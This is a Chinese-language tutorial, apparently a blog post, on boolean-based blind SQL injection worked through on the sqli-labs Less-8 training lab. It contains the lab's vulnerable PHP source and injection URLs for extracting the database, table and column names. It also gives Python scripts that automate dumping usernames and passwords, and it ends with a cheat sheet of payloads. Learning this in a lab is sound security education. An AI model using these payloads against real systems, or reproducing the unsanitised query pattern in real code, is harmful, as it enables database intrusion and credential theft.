SQL注入<三>-bool盲注

概论

盲注:在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注(Booleanbase)、基于时间的盲注(Timebase)、报错的盲注(Errorbase)。

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

常用函数

1
2
3
4
5
6
7
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):同上
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
sleep(n):将程序挂起一段时间 n为n秒

sqli-labs less8

以sqli平台第八题为例写一下布尔盲注

1

进行注入测试

1
2
3
4
http://127.0.0.1/sqli-labs-master/Less-8/?id=1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
http://127.0.0.1/sqli-labs-master/Less-8/?id=1"
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' --+

发现id=1’时页面没有返回内容应该就是不正确页面加上注释符后显示正确页面,可以确定单引号存在注入,正确页面显示you are in………..不正确页面没有

2

3

可以参考下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//部分关键源码,源码下载:https://github.com/Audi-1/sqli-labs,可以搭建在本地
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))//GET方式传入id
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row) //查到数据执行如下
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else //否则执行如下 从两者返回的网页结构不一样,可以作为我们盲注条件判断的依据
{
echo '<font size="5" color="#FFFF00">';
//源码中注释了报错信息,所以不能用报错注入
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

看出之前的测试结果正确

判断数据库长度

1
2
3
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>2 --+
以此类推...

发现值为8时页面没有显示,说明database()的长度是8

爆数据库名

1
2
?id=2' and ascii(substr(database(),1,1))>99 --+或
?id=2' and ascii(substr(database(),1,1))=99 --+

原理就是依次取出数据库名中的一个字符通过比较ASCII码值来判断猜出数据库名,这样就不能一个一个试了,需要写脚本,现在脚本不会写就借鉴大佬的了。爆数据库长度和数据库名python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
def database_len():
for i in range(1,10):
url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' %i
# print(url+payload+'%23')
r = requests.get(url+payload+'%23')
if 'You are in' in r.text:
print(i)

else:
#print('false')
print('database_length:',i)
break
database_len()

def database_name():
name = ''
for j in range(1,9): //数据库长度为8
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i

print(name)

break
print('database_name:',name)

database_name()

4

得到数据库名security

爆表名

1
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>96 --+

原理和报数据库名是一样的,知识把database()换成了查表名语句,脚本把上面修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

def table_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i

print(name)

break
print('table_name:',name)

table_name()

修改limit 0,1,分别改成limit 1,1limit 1,1limit 2,1limit 3,1,可以得到四个表名emailsreferersuagentsusers

5

爆列名

1
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>116 --+

表应该是users了,脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

def column_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i

print(name)

break
print('column_name:',name)

column_name()

同理修改limit 0,1,可以得到三个列名idusernamepassword

6

爆数据

1
?id=1' and ascii(substr((select user from users limit 0,1),1,1)) > 96

脚本,源脚本

注:原脚本中u.content在python3中好像不能用要改成u.text。因为python3中text返回的是Unicode型的数据 ,content返回的是是二进制的数据,也就是说,如果你想取文本,可以通过u.text,如果想取图片、文件,则可以通过u.content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '.'] # 字典
url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str1 = 'You are in...........'
username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):
for j in range(1, 11):
for l in list1:
p = payload.format(n=i, w=j, d=username[i-1]+l)
u = requests.get(url+p)
if str1 in u.text:
username[i-1] += l
print (u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1])
payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
for i in range(1, 15):
for j in range(1, 11):
for l in list1:
p = payload2.format(n=i, w=j, d=password[i-1]+l)
u = requests.get(url+p)
if str1 in u.text:
password[i-1] += l
print (u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1])
print ('id username password')
for i in range(1, 15):
print (i, '-', username[i-1], '-', password[i-1])

最后在网速好的时候跑这个脚本

7

8

9

10

11

总结

查询数据库的长度

1
and length(database())>1 --+

查询数据库名

1
and ascii(substr((select database()),1,1))>99 --+

查询表名的长度

1
and (select(length(table_name)) from information_schema.tables where table_schema = 'users' limit 0,1)>1 --+

查询表名

1
and ascii(substr((select table_name from information_schema.tables where table_schema='users' limit 1,1),1,1))>116 --+

查询列名的长度

1
and (select(length(column_name)) from information_schema.columns where table_name = 'users' limit 0,1)>1 --+

查询列名

1
and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>116 --+

查询字段的长度

1
and (select length(column_name) from information_schema.columns where table_name='users' limit 1,1)>10 --+

爆字段

1
and ascii(substr((select user from users limit 0,1),1,1))>96 --+

附后台数据库

12

13

14

15

16